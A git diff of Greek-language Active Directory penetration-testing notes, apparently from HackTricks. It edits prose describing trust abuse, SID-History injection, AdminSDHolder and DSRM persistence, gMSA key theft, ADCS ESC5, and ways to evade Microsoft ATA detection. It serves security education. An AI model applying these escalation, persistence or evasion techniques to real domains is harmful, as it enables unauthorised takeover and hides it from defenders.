+Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Αν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
 **Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.**
 
 {{#ref}}
@@ -328,7 +328,7 @@ printers-spooler-service-abuse.md
 ### Κατάχρηση Συνεδριών Τρίτων
 
 Εάν **άλλοι χρήστες** **πρόσβαση** στη **συμβιβασμένη** μηχανή, είναι δυνατόν να **συγκεντρωθούν διαπιστεύσεις από τη μνήμη** και ακόμη και να **εισαχθούν σήματα στις διαδικασίες τους** για να τους προσποιηθούν.\
-Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε συνεδρίες RDP τρίτων:
+Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε τρίτες συνεδρίες RDP:
 
 {{#ref}}
 rdp-sessions-abuse.md
@@ -411,7 +411,7 @@ golden-ticket.md
 
 ### Diamond Ticket
 
-Αυτά είναι όπως τα golden tickets που έχουν κατασκευαστεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης golden tickets.**
+Αυτά είναι σαν χρυσά εισιτήρια που έχουν παραποιηθεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης χρυσών εισιτηρίων.**
 
 {{#ref}}
 diamond-ticket.md
@@ -419,7 +419,7 @@ diamond-ticket.md
 
 ### **Επιμονή Λογαριασμών Πιστοποιητικών**
 
-**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης):
+**Η κατοχή πιστοποιητικών ενός λογαριασμού ή η δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης):
 
 {{#ref}}
 ad-certificates/account-persistence.md
@@ -435,11 +435,11 @@ ad-certificates/domain-persistence.md
 
 ### Ομάδα AdminSDHolder
 
-Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίθετα αποτελέσματα, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
+Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· αν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
 
 [**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
-### Διαπιστευτήρια DSRM
+### Διαπιστεύσεις DSRM
 
 Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό Διαχειριστή.
 
@@ -449,7 +449,7 @@ dsrm-credentials.md
 
 ### Επιμονή ACL
 
-Μπορείτε να **δώσετε** ορισμένα **ειδικά δικαιώματα** σε έναν **χρήστη** πάνω σε ορισμένα συγκεκριμένα αντικείμενα τομέα που θα επιτρέψουν στον χρήστη να **κλιμακώσει δικαιώματα στο μέλλον**.
+Μπορείτε να **δώσετε** κάποια **ειδικά δικαιώματα** σε έναν **χρήστη** πάνω σε ορισμένα συγκεκριμένα αντικείμενα τομέα που θα επιτρέψουν στον χρήστη να **κλιμακώσει δικαιώματα στο μέλλον**.
 
 {{#ref}}
 acl-persistence-abuse/
@@ -511,24 +511,24 @@ laps.md
 **Βήματα**:
 
 1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του.
-2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
+2. Ο DC1 εκδίδει ένα νέο TGT αν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
 3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**.
 4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα.
 5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**.
-6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης.
+6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, αν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης.
 7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2.
 
 ### Διάφορες εμπιστοσύνες
 
-Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.**
+Είναι σημαντικό να σημειωθεί ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.**
 
 Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**.
 
 **Διαφορετικές σχέσεις εμπιστοσύνης**
 
-- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου μια παιδική τομέα έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα της. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
-- **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, το ταξίδι συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
-- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
+- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
+- **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, η διαδρομή συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
+- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω μιας εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
 - **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 - **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας.
 - **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [συμβατές με RFC4120](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα βασισμένα σε Kerberos εκτός του οικοσυστήματος Windows.
@@ -541,15 +541,15 @@ laps.md
 ### Διαδρομή Επίθεσης
 
 1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης
-2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω εγγραφών ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
+2. Ελέγξτε αν οποιοσδήποτε **ασφαλής φορέας** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω εγγραφών ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
 1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή.
 3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταβούν** μέσω τομέων.
 
-Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε άλλο τομέα μέσω τριών κύριων μηχανισμών:
+Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε έναν άλλο τομέα μέσω τριών κύριων μηχανισμών:
 
-- **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο σε αυτή τη μηχανή.
-- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας.
-- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή.
+- **Τοπική Συμμετοχή Ομάδας**: Οι φορείς μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή.
+- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι φορείς μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας.
+- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι φορείς μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή.
 
 ### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα
 ```
@@ -574,7 +574,7 @@ WhenChanged     : 2/19/2021 1:28:00 PM
 
 #### SID-History Injection
 
-Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με την ένεση SID-History:
+Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με SID-History injection:
 
 {{#ref}}
 sid-history-injection.md
@@ -586,13 +586,13 @@ sid-history-injection.md
 
 **Link GPO to root DC site**
 
-Το Sites container της Configuration NC περιλαμβάνει πληροφορίες σχετικά με όλους τους υπολογιστές που είναι συνδεδεμένοι στο domain εντός του δάσους AD. Λειτουργώντας με SYSTEM privileges σε οποιοδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στους root DC sites. Αυτή η ενέργεια ενδέχεται να θέσει σε κίνδυνο το root domain, χειραγωγώντας τις πολιτικές που εφαρμόζονται σε αυτούς τους ιστότοπους.
+Το Sites container της Configuration NC περιλαμβάνει πληροφορίες σχετικά με όλους τους υπολογιστές που είναι συνδεδεμένοι στο domain εντός του δάσους AD. Λειτουργώντας με SYSTEM privileges σε οποιοδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στους root DC sites. Αυτή η ενέργεια ενδέχεται να θέσει σε κίνδυνο το root domain μέσω της χειραγώγησης πολιτικών που εφαρμόζονται σε αυτούς τους ιστότοπους.
 
 Για λεπτομερείς πληροφορίες, μπορείτε να εξερευνήσετε έρευνες σχετικά με [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
 
 **Compromise any gMSA in the forest**
 
-Ένας επιθετικός παράγοντας περιλαμβάνει την στόχευση προνομιακών gMSAs εντός του domain. Το KDS Root key, που είναι απαραίτητο για τον υπολογισμό των κωδικών πρόσβασης των gMSAs, αποθηκεύεται στην Configuration NC. Με SYSTEM privileges σε οποιοδήποτε DC, είναι δυνατό να αποκτήσετε πρόσβαση στο KDS Root key και να υπολογίσετε τους κωδικούς πρόσβασης για οποιοδήποτε gMSA σε όλο το δάσος.
+Ένας επιθετικός παράγοντας περιλαμβάνει την στόχευση προνομιακών gMSAs εντός του domain. Το KDS Root key, που είναι απαραίτητο για τον υπολογισμό των κωδικών πρόσβασης των gMSAs, αποθηκεύεται στην Configuration NC. Με SYSTEM privileges σε οποιοδήποτε DC, είναι δυνατή η πρόσβαση στο KDS Root key και ο υπολογισμός των κωδικών πρόσβασης για οποιοδήποτε gMSA σε όλο το δάσος.
 
 Λεπτομερής ανάλυση μπορεί να βρεθεί στη συζήτηση σχετικά με [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
 
@@ -604,7 +604,7 @@ sid-history-injection.md
 
 **From DA to EA with ADCS ESC5**
 
-Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η παραβίαση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
+Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
 
 Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
 
@@ -663,7 +663,7 @@ rdp-sessions-abuse.md
 
 ### **Selective Authentication:**
 
-- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Selective Authentication διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και servers εντός του εμπιστευμένου domain ή δάσους.
+- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Selective Authentication διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους.
 - Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
 
 [**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@@ -680,13 +680,13 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 
 ### **Αμυντικά Μέτρα για την Προστασία των Credentials**
 
-- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους hosts.
+- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές.
 - **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρηθεί η ασφάλεια.
 - **Περιορισμός Χρόνου Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 
 ### **Εφαρμογή Τεχνικών Απάτης**
 
-- Η εφαρμογή της απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι σημειωμένοι ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges.
+- Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges.
 - Ένα πρακτικό παράδειγμα περιλαμβάνει τη χρήση εργαλείων όπως: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
 - Περισσότερα σχετικά με την ανάπτυξη τεχνικών απάτης μπορείτε να βρείτε στο [Deploy-Deception στο GitHub](https://github.com/samratashok/Deploy-Deception).
 
@@ -698,9 +698,9 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 ### **Παράκαμψη Συστήματος Ανίχνευσης**
 
 - **Παράκαμψη Ανίχνευσης Microsoft ATA**:
-- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για την αποφυγή ανίχνευσης από το ATA.
+- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για να αποφευχθεί η ανίχνευση από το ATA.
 - **Εκμετάλλευση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM.
-- **DCSync Επιθέσεις**: Συνιστάται η εκτέλεση από μη Domain Controller για την αποφυγή ανίχνευσης από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις.
+- **DCSync Επιθέσεις**: Συνιστάται η εκτέλεση από μη Domain Controller για να αποφευχθεί η ανίχνευση από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις.
 
 ## Αναφορές
 

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -1,10 +1,10 @@
-# UAC - Έλεγχος Λογαριασμού Χρήστη
+# UAC - User Account Control
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## UAC
 
-[Ο Έλεγχος Λογαριασμού Χρήστη (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που επιτρέπει μια **προτροπή συγκατάθεσης για ανυψωμένες δραστηριότητες**. Οι εφαρμογές έχουν διαφορετικά επίπεδα `integrity`, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελεί εργασίες που **θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα**. Όταν είναι ενεργοποιημένος ο UAC, οι εφαρμογές και οι εργασίες εκτελούνται πάντα **υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή** εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή στο σύστημα για να εκτελούνται. Είναι μια δυνατότητα ευκολίας που προστατεύει τους διαχειριστές από ακούσιες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που επιτρέπει μια **προτροπή συγκατάθεσης για ανυψωμένες δραστηριότητες**. Οι εφαρμογές έχουν διαφορετικά επίπεδα `integrity`, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελεί εργασίες που **θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα**. Όταν είναι ενεργοποιημένο το UAC, οι εφαρμογές και οι εργασίες εκτελούνται πάντα **υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή** εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή στο σύστημα για να εκτελούνται. Είναι μια δυνατότητα ευκολίας που προστατεύει τους διαχειριστές από ακούσιες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.
 
 Για περισσότερες πληροφορίες σχετικά με τα επίπεδα ακεραιότητας:
 
@@ -12,28 +12,34 @@
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-Όταν είναι σε εφαρμογή ο UAC, σε έναν χρήστη διαχειριστή δίνονται 2 διακριτικά: ένα τυπικό κλειδί χρήστη, για να εκτελεί κανονικές ενέργειες ως κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή.
+Όταν είναι σε εφαρμογή το UAC, σε έναν χρήστη διαχειριστή δίνονται 2 διακριτικά: ένα τυπικό κλειδί χρήστη, για να εκτελεί κανονικές ενέργειες ως κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή.
 
